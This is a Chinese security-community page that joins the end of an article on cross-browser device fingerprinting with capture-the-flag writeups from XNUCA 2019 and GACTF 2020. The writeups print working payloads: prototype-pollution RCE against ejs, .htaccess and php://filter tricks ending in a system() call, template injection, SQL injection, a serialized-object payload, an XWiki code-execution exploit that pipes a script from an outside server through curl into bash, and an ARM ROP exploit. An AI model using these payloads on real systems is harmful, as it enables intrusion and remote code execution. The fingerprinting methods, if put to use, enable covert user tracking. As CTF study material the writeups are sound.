在这个任务中选择一个白光源，因为纹理是各种颜色的，单色光可能会减少纹理上的一些微妙差异。
光线的强度需要精心设计。非常弱的光线不会照亮Suzanne模型，模型就会不可见；非常强的光会使一切变白，减少指纹特征。
在6台机器的小规模实验中，功率从0增加到255，我们发现当光功率为2时，这些机器之间的像素差异最大。光照位置可随机选择，不会影响特征指纹识别结果。
可以看到这些任务深入研究了图片渲染引擎的特征，js没办法直接获取到显卡的设置和驱动，但是通过这种方法，当不同的显卡渲染同一张图片时，因设置不同，渲染出来的图片hash也不同。用这种图片hash作为特征，其实是从侧面得到机器显卡的特征，同一台机器在不同的浏览器上用到同一个显卡，所以可以看到这些task的跨浏览器稳定性都很高，总共10余种
task。
**3\. Paper中除了这些task，还有一些其他新颖的东西**
**3.1 CPU内核数量：**
这个在之前的设备指纹方案中都是没有使用到的，现代浏览器可以用navigator .hardware
Concurrency来获取。如果不支持这个方法，则可以利用另一种方式获取，具体来说是，当增加Web
Worker的数量时，可以监视payload的完成时间。当计算量达到一定的程度，Web
Woker完成payload的时间显著增加，达到硬件并发的限制，从而判断核心的数量。一些浏览器（如Safari）会将Web
Workers的可用内核数量减少一半，所以在获取跨浏览器指纹时，我们需要将获取到的核心数量加倍。
此处内容，有兴趣的同学可以看看这篇文章<https://eligrey.com/blog/cpu-core-estimation-with-javascript/>
**3.2 writing script(language):**
这个其实可以理解为语言，但不是当前浏览器所使用的语言，而是系统支持的所有语言，比如中文简体、中文繁体、英语，js中并没有接口直接获取这种语言，但是这里作者想到了另一种方法，就是在页面中用所有的语言写两个字，如果系统支持该语言，那么就能正常写出来；如果不支持，显示出来的就是方框。通过这种方法获取系统支持的语言。
**3.3 AudioContext：**
可能熟悉设备指纹的同学都知道，AudioContext在很多设备指纹项目上都用到了。具体来说，现有的指纹识别工作使用OscillatorNode产生一个三角波，然后将波传Dynamics
Compressor Node，一个调节声音的信号处理模块，产生压缩效果。 然后，经处理的音频信号通过Analyser
Node转换为频率域。该paper指出，频域在不同的浏览器中是不同的，这个特征受浏览器的影响，不能完全反应出声卡的特征。也就是说，现有的方案只能识别单浏览器。但是他们发现，频率和峰值的比，在浏览器之间是相对稳定的。因此，在频率和值的坐标系上创建一个间距很小的列表，并将峰值频率和峰值映射到相应的格子。
如果一个格子包含一个频率或值，我们将格子标记为1，否则为0，这样的格子列表用作跨浏览器特征。
除了波形处理外，还能从音频设备上获取以下信息：采样率、最大通道数、输入数、输出数、通道数、通道数模式和通道解释。这是现有的设备指纹工作没有用到的又一个跨浏览特征.。
**3.4 在demo站中，从我电脑上收集到的信息如下**
我跨浏览器测试的结果，的确能够跨浏览器识别，看到这里，由衷的佩服该项目。
**04.查看代码**
在我看来，十多个task，AudioContext，CPU core number，writing
script，跨浏览器稳定性都如此之高，做一些机器学习的分析工作，算一算相似性，真的非常容易达到跨浏览器识别的目的。
但我们来看看后端分析代码，如下：
这是代码中获取到的从前端传来的特征，然后就该通过这些特征计算跨浏览器指纹了。
但是，他只是简单的把这些项目加到一起hash了一下，就作为跨浏览器指纹
虽然demo站说明了跨浏览器指纹还在开发中，并没有什么复杂的计算，跟paper中提到的分析方式完全不同，跟我预期的什么机器学习的方式也不同。
但是，跨浏览器的特征倒是选用了一些稳定性极高的特征，所以直接hash也能进行跨浏览器识别。
Paper中的思路真的很好，所以沿着这个思路，我们还有很多工作要做。
**
**
**05.最后说一句**
该paper中一直提到的IP不可信的问题，既然是黑客溯源，对面是黑客，提出这个观点也无可厚非，毕竟大家都会挂VPN或者用肉鸡。但是IP作为一个重要信息，在设备指纹项目中，还是有用武之地的。
我个人的观点：IP虽然不可信，但是短时间的IP是可信的。
各位可以自己去试试 IP+设备指纹的区分度还是很好的，而且很大程度上能解决一部分跨浏览器识别的问题。
本文仅是自己的一些心得分享，欢迎大家在评论区留言，也可关注我的个人微博@chengable。浅知拙见，抛砖引玉，期待与大家的交流。 | 社区文章 |
# WEB
## HardJS
首先先看代码，稍微浏览一遍看看有什么奇怪的逻辑，一眼就能看出`lodash.deepAssign`很奇怪。但lodash一般来说不会有啥漏洞出现，因此`npm
audit`一下看看是不是有洞。
于是，原型链污染get：<https://nodesecurity.io/advisories/1065>
那污染之后我们能干啥呢？那当然是RCE了。搜索了一下eval没搜到，那看看还有谁有动态拼接代码的就行了。这里用到了一个模板引擎ejs，它肯定有代码拼接；直接去看ejs源码。
随便划拉一下屏幕就发现了一大堆源码拼接，从中随便挑一个可以被污染的变量就好了。先看看哪些可能可以操作的，找找大量的`xxx.yyy = xxx.yyy ||
DEFAULT`聚集的地方：
options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
options.compileDebug = opts.compileDebug !== false;
options.debug = !!opts.debug;
options.filename = opts.filename;
options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
options.strict = opts.strict || false;
options.context = opts.context;
options.cache = opts.cache || false;
options.rmWhitespace = opts.rmWhitespace;
options.root = opts.root;
options.outputFunctionName = opts.outputFunctionName;
options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
options.views = opts.views;
options.async = opts.async;
这些全都是可以通过原型链污染控制的，因此再随便翻翻代码找个自己喜欢的点就好。我觉得这个不错：
var escapeFn = opts.escapeFunction;
// ......
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
对于这个payload，将`client`、`escapeFn`污染即可RCE。构造出来的长这样：
{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": true}}}
构造完以后再回头去看题目代码（？顺序不太对吧），组合一下利用链。所以直接打五次后访问首页即可get flag：
POST /add HTTP/1.1
Content-Length: 156
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
x-forwarded-for: 127.0.0.1'
Connection: close
{"type":"wiki","content":{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": true}}}}
## Ezphp
题目源码
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
访问题目会立马删除同目录下除 index.php 以外的文件，传入的 `$filename`、`$content` 被过滤后再通过
`file_put_contents` 写文件。可以正常上传 php 后缀的文件，但没有解析。打算从`.user.ini` 文件配置
`auto_append_file`，进行文件包含，但由于 `$content` 处过滤了 file 关键字。
对于这些过滤，最简单的办法就是编码绕过，结合这里的 `file_put_contents` ，不难想到 P牛之前发过的
[谈一谈php://filter的妙用](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)，也就是对文件内容编码后再利用 php 伪协议进行解码写入，可惜 filename
还有一层过滤，只能传入字母和点，伪协议就没法用了，那就继续绕 `preg_match`。
说来也巧，P牛还有一篇
[PHP利用PCRE回溯次数限制绕过某些安全限制](https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html)，但这种绕过方式并不适合这题。沿着这思路继续看下
[PHP手册](https://www.php.net/manual/zh/pcre.configuration.php)，发现
`pcre.backtrack_limit` 是 `PHP_INI_ALL` ，这意味着我们可以通过 `.user.ini`
对其进行修改。结合刚刚那篇文章，猜想这里的匹配 `preg_match("/[^a-z\.]/)"` 是不是也像这样`[xxx]`的进行回溯。
尝试 `ini_set('pcre.backtrack_limit', 0)`，发现真能绕过`preg_match`，再结合
`php://filter`，就可以在任意位置写入任意内容，并进行文件包含，本地成功打通。
一弄到比赛环境就不行了，这时候队里师傅说这种方式并不适用于 php7，检查了好一会也没发现为什么在 php7 中如此设置会失效，最后看到 php7
多了个配置选项 `pcre.jit`，且这个配置默认为 1，于是尝试将 `pcre.jit` 设置成 0，成功。
这总算做完了吧？结果到了题目环境依旧不行，或许是某些原因导致环境中 .user.ini 并没有被解析，这时候就只有只能覆盖 `.htaccess`
了，但由于上传的文件内容会被额外添加一句`"\nJust one chance"`，`.htaccess`并没有 `.user.ini`
那么强的容错性，一旦格式错误就直接 500 了。在内容末尾加一个`#aa\`就可以突破这种限制。
基本流程就理清楚了：
首先上传一个`.htaccess` 绕过 `preg_match`，再使用 `php://filter`把 `auto_append_file`
的配置写入，覆盖掉原先`.htaccess`，马儿就到手了。
附带 payload
http://19056a386796436a8c8d1f9694fe8aabcbc77c6f49714b43.changame.ichunqiu.com/?content=php_value%20pcre.backtrack_limit%200%0a%0dphp_value%20pcre.jit%200%0a%0d%0a%0d%23aa\&filename=.htaccess
下面这个打两次
http://19056a386796436a8c8d1f9694fe8aabcbc77c6f49714b43.changame.ichunqiu.com/index.php?a=system(%27cat%20../../../root/flag.txt%27);exit;&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKDXBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCg1waHBfdmFsdWUgcGNyZS5qaXQgICAwCg0KDSNhYTw%2FcGhwIGV2YWwoJF9HRVRbJ2EnXSk7Pz5c%3C%3C&filename=php://filter/write=convert.base64-decode/resource=.htaccess
# Reverse
## ooollvm
通过动态调试一步一步的调出flag
程序对每个字符的判断逻辑，只有这两种处理方式:
(这是爆破符合条件的代码
for(i = 0;i < 256;i++){
if(i*0x871f-(i*i*0x143-i*i*i) == 0x12c05d )
putchar(i);
}
其中0x871f,0x143,0x12c05d这三个的值会变化
for(i = 0;i < 256;i++){
if(i*0x84e5-(i*i*320 -i*i*i) == 0x1256a6)
putchar(i);
}
flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm_pass}
（flag 连蒙带猜的，还好单词没有被替换成数字啥的
这是我调试时写的代码，（很乱
#include <stdio.h>
int main(){
int i;
// for(i = 0;i < 256;i++){
// if(i*0x7a9a-(i*i*0x133-i*i*i) == 0x104e08)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x7b67-(i*i*0x134-i*i*i) == 0x1076f4)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x871f-(i*i*0x143-i*i*i) == 0x12c05d)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x97e5-(i*i*0x156-i*i*i) == 0x166ca4)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x98d4-(i*i*0x157-i*i*i) == 0x16a460)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x895c-(i*i*0x145-i*i*i) == 0x135420)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x888b-(i*i*0x144-i*i*i) == 0x132978)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x80cf-(i*i*0x13b-i*i*i) == 0x1180f5)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x80cf-(i*i*0x13b-i*i*i) == 0x1180f5)
// putchar(i);
// }
// flag{this_is_
// for(i = 0;i < 256;i++){
// if(i*0x7a3f-(i*i*0x133-i*i*i) == 0x102b8d)
// putchar(i);
// }
// flag{this_is_a_
// for(i = 0;i < 256;i++){
// if(i*0x6b3f-(i*i*0x11f-i*i*i) == 0xd5ba1)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x767f-(i*i*0x12e -i*i*i) == 0xf7792)
// putchar(i);
// }
// flag{this_is_a_na
// for(i = 0;i < 256;i++){
// if(i*0x7e95-(i*i*0x138 -i*i*i) == 0x11185e)
// putchar(i);
// }
// flag{this_is_a_nai
// for(i = 0;i < 256;i++){
// if(i*0x84e5-(i*i*320 -i*i*i) == 0x1256a6)
// putchar(i);
// }
// flag{this_is_a_naiv
// for(i = 0;i < 256;i++){
// if(i*0x8861-(i*i*0x144 -i*i*i) == 0x13183e)
// putchar(i);
// }
// flag{this_is_a_naive_
// for(i = 0;i < 256;i++){
// if(i*0x7fd3-(i*i*0x13a -i*i*i) == 0x1146b2)
// putchar(i);
// }
// flag{this_is_a_naive_b
// for(i = 0;i < 256;i++){
// if(i*0x7083-(i*i*0x126 -i*i*i) == 0xe5916)
// putchar(i);
// }
// flag{this_is_a_naive_bu
// for(i = 0;i < 256;i++){
// if(i*0x7c93-(i*i*0x136 -i*i*i) == 0x109ef6)
// putchar(i);
// }
// flag{this_is_a_naive_but
// for(i = 0;i < 256;i++){
// if(i*0x8e36-(i*i*0x14b -i*i*i) == 0x144b88)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x8b7b-(i*i*0x148 -i*i*i) == 0x13ac7c)
// putchar(i);
// }
// flag{this_is_a_naive_but_
// for(i = 0;i < 256;i++){
// if(i*0x80c4-(i*i*0x13b -i*i*i) == 0x117ce0)
// putchar(i);
// }
// flag{this_is_a_naive_but_h
// for(i = 0;i < 256;i++){
// if(i*0x71ff-(i*i*0x128 -i*i*i) == 0xe9f98)
// putchar(i);
// }
// flag{this_is_a_naive_but_ha
// for(i = 0;i < 256;i++){
// if(i*0x80ea-(i*i*0x13b -i*i*i) == 0x118c50)
// putchar(i);
// }
// flag{this_is_a_naive_but_har
// for(i = 0;i < 256;i++){
// if(i*0x7d9e -(i*i*0x137 -i*i*i) == 0x10df88)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard
// for(i = 0;i < 256;i++){
// if(i*0x7bf2 -(i*i*0x135 -i*i*i) == 0x108678)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_
// for(i = 0;i < 256;i++){
// if(i*0x79a9 -(i*i*0x132 -i*i*i) == 0x101724)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_o
// for(i = 0;i < 256;i++){
// if(i*0x780d -(i*i*0x130 -i*i*i) == 0xfc4c2)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_ob
// for(i = 0;i < 256;i++){
// if(i*0x7dc4 -(i*i*0x137 -i*i*i) == 0x10ee34)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obf
// for(i = 0;i < 256;i++){
// if(i*0x8274 -(i*i*0x13d -i*i*i) == 0x11d87c)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_
// for(i = 0;i < 256;i++){
// if(i*0x7a6c -(i*i*0x133 -i*i*i) == 0x103c40)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_p
// for(i = 0;i < 256;i++){
// if(i*0x7a6c -(i*i*0x133 -i*i*i) == 0x103c40)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_pr
// for(i = 0;i < 256;i++){
// if(i*0x85be -(i*i*0x141 -i*i*i) == 0x128220)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_pro
// for(i = 0;i < 256;i++){
// if(i*0x93de -(i*i*0x151 -i*i*i) == 0x15a020)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program
// for(i = 0;i < 256;i++){
// if(i*0x8509 -(i*i*320 -i*i*i) == 0x12644a)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x75bf -(i*i*0x12d -i*i*i) == 0xf5393)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_c
// for(i = 0;i < 256;i++){
// if(i*0x7757 -(i*i*0x12f -i*i*i) == 0xfa479)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_co
// for(i = 0;i < 256;i++){
// if(i*0x78db -(i*i*0x131 -i*i*i) == 0xfedf3)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x8457 -(i*i*0x13f -i*i*i) == 0x1246e9)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compi
// for(i = 0;i < 256;i++){
// if(i*0x8f83 -(i*i*0x14c -i*i*i) == 0x14ad50)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x8a55 -(i*i*0x146 -i*i*i) == 0x138f30)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compile
// for(i = 0;i < 256;i++){
// if(i*0x897c -(i*i*0x145 -i*i*i) == 0x136140)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled
// for(i = 0;i < 256;i++){
// if(i*0x7c40 -(i*i*0x135 -i*i*i) == 0x10a4f0)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_
// for(i = 0;i < 256;i++){
// if(i*0x720b -(i*i*0x128 -i*i*i) == 0xea40c)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_b
// for(i = 0;i < 256;i++){
// if(i*0x6fc2 -(i*i*0x125 -i*i*i) == 0xe34b8)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_
// for(i = 0;i < 256;i++){
// if(i*0x7f97 -(i*i*0x13a -i*i*i) == 0x11306e)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm
// for(i = 0;i < 256;i++){
// if(i*0x8807 -(i*i*0x144-i*i*i) == 0x12f174)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x867b -(i*i*0x142-i*i*i) == 0x12a502)
// putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm_pas
// for(i = 0;i < 256;i++){
// if(i*0x81b3 -(i*i*0x13c-i*i*i) == 0x11b250)
// putchar(i);
// }
// for(i = 0;i < 256;i++){
// if(i*0x77ff -(i*i*0x130-i*i*i) == 0xfbf90)
// putchar(i);
// }
for(i = 0;i < 256;i++){
if(i*0x8853 -(i*i*0x144-i*i*i) == 0x131050)
putchar(i);
}
puts("");
return 0;
}
## CleverBird
跳过游戏部分, 判断逻辑是这样,
# while ( *(&ConsoleCursorInfo[0].dwSize + idx_v17) == ((v11 >> v19) ^ (Dst[idx_v17] - '0')) )
# {
# v19 += 8;
# ++idx_v17;
# if ( v19 >= 32 )
ida_chars = [0x16, 0xE4, 0xB3, 0xBD]
v11 = 0xA991E504
flag = ""
v11 = [0x04, 0xe5, 0x91, 0xa9]
for i in range(len(ida_chars)):
flag += chr((ida_chars[i] ^ (v11[i])) + 0x30)
print(flag)
flag 前 4 个: flag{B1RD.....
if ( v12 ) {
v16 = &v37;
while ( 1 ) {
v17 = *v16++;
if ( v17 != v12 % 2 + 48 )
break;
v12 /= 2;
if ( !v12 )
goto LABEL_20;
}
}
只要知道 v12 是多少就行了，v12 是我们的 score，爆破就好了。最后脚本：
#include<stdio.h>
#include<string.h>
int main(){
int win_count;
for(win_count = 1;win_count != 0xffffffff;win_count++){
float t = ((float)win_count)*0.5;
int bvisible = *(int*)(&t);
t = (float)win_count;
int dwCursorPosition = 0x5F3759DF-((*(int*)(&t))>>1);
int res = (int)
( ((((((1.5-((*(float*)(&dwCursorPosition))*(*((float*)&bvisible)))*(*(float*)(&dwCursorPosition)))*(*(float*)(&dwCursorPosition)))
* 100000000.0) * 10.0) + 5.0) / 10.0)
);
if(res == 0x436AE){
printf("find! res is %d\n",win_count);
break;
}
}
return 0;
}
最后的 v12 = 0x20002，flag 为 flag{B1RD010000000000000001}
> 方便 SEO： XNUCA 2019 | 社区文章 |
# 0RAYS-GACTF的writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
比赛很不错，又肝了两天，终于苟住第七名，师傅们太顶了
## WEB
### EZFLASK
第一部分源码
# -*- coding: utf-8 -*- from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)
@app.route('/ctfhint')
def ctf():
hint =xxxx # hints
trick = xxxx # trick
return trick
@app.route('/')
def index():
# app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
# post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
# admin requests
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)
在eval界面可读取到下一步的地址/h4rdt0f1nd_9792uagcaca00qjaf
payload:
`eval=admin.func_globals`
里面是ssrf打内网，需要输入IP、端口和路径
IP和端口是127.0.1.1 8080 即是当前页面
爆破端口发现存在5000端口，这个可以获得flag
ip=127.0.2.1&port=5000&path=/
第二部分源码
import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
return flask.render_template_string(hack)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
requsets支持302跳转，可以跳一下绕过前面的限制，就可以访问{{config}}拿flag了
服务器上写个跳转到127.0.2.1：5000就行
<?php
header("Location:http://127.0.1.1:5000/{{config}}");
exit();
?>
### simpleflask
一开始扫到了/console 需要PIN码 本来有一题就是靠文件读取算出PIN码的，所以就被带歪了
简简单单的绕过，Payload如下
{{session.__init__.__globals__["__bui""ltins__")].open("/fl".__add__("ag")).read()}}
### XWiki
网页下方可见版本11.10.1，存在CVE-2020-11057，可利用注册用户权限在个人控制台执行python代码，具体漏洞利用可参考下方资料
<http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-702>
<https://jira.xwiki.org/browse/XWIKI-16960>
用现成payload试一下确认漏洞存在
import os
print(os.popen("id").read())
print(os.popen("hostname").read())
执行ls发现有/readflag，尝试用base64带出，结果会使文件损坏
在VPS上放一个文件，利用curl来Getshell
import os
print(os.popen("curl 47.114.179.29/bash.txt|bash").read())
有root权限的shell，但是直接远程readflag，网络情况令人捉急，直接cp一下readflag到一个可访问目录，然后下载过来
之后本地跑
from pwn import *
from Crypto.Util.number import *
sh = process("./readflag")
flag=""
while True:
try:
sh.recvuntil("Which number is bigger? ")
number1 = sh.recvuntil(":")[:-1]
number2 = sh.recvuntil("\n")[:-1]
ans ='0' if int(number1)>int(number2) else '1'
#print read[25:27],read[30:32],ans
flag+=ans
sh.sendline(ans)
except Exception as e:
print long_to_bytes(int(flag,2))
exit()
### babyshop
存在.git泄露，直接下载源码
但是被非预期了，后来题目才把这个修了
不知道说啥。。。。。。。。。。。
### carefuleyes
文件名改名那里二次注入
-1'union select 1,(select password from `user` where `privilege`='admin'),1,1,'1.jpg
跑出账号密码
XM/qweqweqwe
//poc.php
<?php
require 'common.php';
$o = new XCTFGG('login',["XM","qweqweqwe"]);
echo urlencode(serialize($o));
Payload:
O%3A6%3A%22XCTFGG%22%3A2%3A%7Bs%3A14%3A%22%00XCTFGG%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00XCTFGG%00args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22XM%22%3Bi%3A1%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D
## MISC
### SignIN
打开画图快乐签到
## crymisc
docx其实是zip，修复头恢复得到图片
图片尾base64得到密码
修复base64密文后zip头得到另一个加密zip，根据密码解密得一堆emoji，猜测是emoji加密
🔭💙🐰✊🌻🐧💙😘🌻🍶💐🍌🏊🍩🚁🏊👹🐶😀🐶😀😘👹💙🍂💇😀😀😩🌻🍟👂🍶💐🍌🏊🍩👆🏠🙇🍂🍂👼😱🚔🐶👉✊😱🏠🙇🍂🍂👼😱🚊😧💨💙💕
网上有爆破脚本已得flag，emoji key为😭
`WelcometoGACTF!ThisisthepasswordGACTF{H4ppy_Mi5c_H4ppy_L1fe}`
### v for Vendetta
由hint可知密码为6位数 爆破得密码是123233
解压后获得一个比较大的v文件，看头文件发现缺少gif头文件 修复后得到一个的gif图片（v.gif）
# -*- coding: utf-8 -*- from PIL import Image
def find_box(im):
cou = 0
for j in range(540, 700):
for k in range(0, 150):
if im.getpixel((j, k)) == (0, 0, 0):
print((j, k))
return (j, 0, j + 1, 405)
imagegif = Image.open(r'D:\Download\20200829GACTF\v\v.gif')
tempimage = Image.new('RGB', (720, 405), '#000000')
try:
for i in range(0, 4000):
imagegif.seek(i)
tempimage.paste(imagegif, (0, 0))
# 因为黑点位置好像没啥规律，就直接暴力搜吧
find_box(tempimage)
except:
pass
有些行列没有找到问题也不大，把输出内容放文件里
# -*- coding: utf-8 -*- from PIL import Image
tempimage = Image.new('RGB', (720, 405), '#FFFFFF')
with open("黑点出现位置.txt") as f:
try:
while True:
s=f.readline()
x=int(s.split(",")[0])
y=int(s.split(",")[1])
tempimage.putpixel((x,y),(0,0,0))
except:
pass
tempimage.show()
tempimage.save("./465464.png")
附上一个一把梭直接出二维码图片的脚本
from PIL import Image
imgs = []
for i in range(3583):
p = Image.open('res/'+str(i)+'.png')
p = p.crop((550,50,720,140))
imgs.append(p)
np = Image.new('L',(200,200),255)
for tp in imgs:
a,b = tp.size
for y in range(b):
for x in range(a):
if tp.getpixel((x,y)) == (0,0,0,255):
np.putpixel((x,y),0)
np.save('1.png')
QRsearch扫，居然能扫
the password is V_f0r_VeNdettA_vk
now,pwn me to get the flag.
for China
119.3.154.59 9999
for foreign countries
45.77.72.122 9999
解压文件nwp，结果文件全部是反过来的
exp如下
#!/usr/bin/python
#-*- coding:UTF-8 -*- from pwn import *
import sys
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
context.binary = "./pwn"
libc = ELF("./libc-2.27.so")
if sys.argv[1] == "r":
p = remote("119.3.154.59", 9999)
elif sys.argv[1] == "l":
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./pwn"])
else:
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./pwn"])
raw_input()
elf = ELF("./pwn")
p.recvuntil("3: exit\n")
p.send("1\n")
p.recvuntil("username:")
p.send("a"*16)
p.recvuntil("password:")
p.send("a"*16)
p.recvuntil("3: exit\n")
p.send("2\n")
p.recvuntil("username:")
p.send("a"*16)
p.recvuntil("password:")
p.send("a"*16)
p.recvuntil("4:logout\n")
p.sendline("2")
p.send("a"*16)
p.recvuntil("4:logout\n")
p.sendline("4")
p.recvuntil("3: exit\n")
p.send("2\n")
p.recvuntil("username:")
p.sendline("root")
p.recvuntil("password:")
p.send("a"*32)
p.recvuntil("You can input token:\n")
p.sendline("a")
p.recvuntil("4:Logout\n")
p.sendline("3")
mov_r3_r0 = 0x1086d
pop_r3_pc = 0x00010550
p.send("a"*0x20 + p32(0x0) + p32(pop_r3_pc) + p32(elf.got['puts']) + p32(mov_r3_r0) + p32(0x0) + p32(0x00010b21))
libcbase = u32(p.recv(4)) - libc.symbols['puts']
log.info("libcbase: %#x" %libcbase)
system_addr = libc.symbols["system"] + libcbase
binsh_str = libcbase + 0x000D5F2C
log.info("system: %#x bin_sh: %#x" %(system_addr, binsh_str))
p.recvuntil("You can input token:\n")
p.sendline("a")
pop_r0_pc = 0x0004c631 + libcbase
p.recvuntil("4:Logout\n")
p.sendline("3")
p.send("a"*0x20 + p32(0x0) + p32(pop_r0_pc) + p32(binsh_str) + p32(system_addr))
p.interactive()
### Minecraft Redstone Music
HMCL打开
<https://minecraft-zh.gamepedia.com/Mods/Forge>
/time set 1000 调白天
/gamemode 1 创造模式
2分多钟第一段音乐开始时的字幕得
`_Mus1c_in_`
hint提示查看日志，根据日志关掉部分冲突mod
进入后，替代命令方块草方块下其中不发光的玻璃
`Min3cr4fT}`
第一部分古古怪怪，因为下载不了所以去看json
然后发现
这神奇的版本号，然后提取数字转ascii得到GACTF{Th3
完整flag：`GACTF{Th3_Mus1c_in_Min3cr4fT}`
### trihistory
首先把镜像保存下来
`docker save -o 123.tar impakho/trihistory:latest`
一个文件夹中发现存在.git泄露
`\f1311a709f1ffdfdd4deb2bc2fccd14fd2d2df9ca9bd1cb09a6a268fe2c9b720\layer\root\history\.git`
放到服务器上再装个git，怀疑flag在历史版本中，git的具体操作课参考
[https://blog.csdn.net/songyuequan/article/details/82933745?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.add_param_isCf&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.add_param_isCf](https://blog.csdn.net/songyuequan/article/details/82933745?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.add_param_isCf&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.add_param_isCf)
查看历史版本
`cat .git/logs/refs/heads/master`
不断用git cat-file -p 往前找，发现存在.flag.html.swp
`git cat-file -p 4fb07e24c331cedbc5ff34a7addbf8db8db2e5f5`
`GACTF{23b72be2-e4db-4093-9c26-d564318b97d9}`
### oldmodem
安装一个minimodem
<https://github.com/kamalmostafa/minimodem>
由bell202
./minimodem --rx -f encoded.wav 1200
##
flag为`GACTF{9621827f-a41b-4f27-8d72-9e0b77415a4f}`
### capture
提取数据的脚本：
import re
with open("captured.txt") as f:
data = f.read()
ans = re.findall(":.*[DU,](.*?),(.*?)\n",data)
print ans[0]
with open("data","w") as f:
f.write(str(ans))
画图脚本
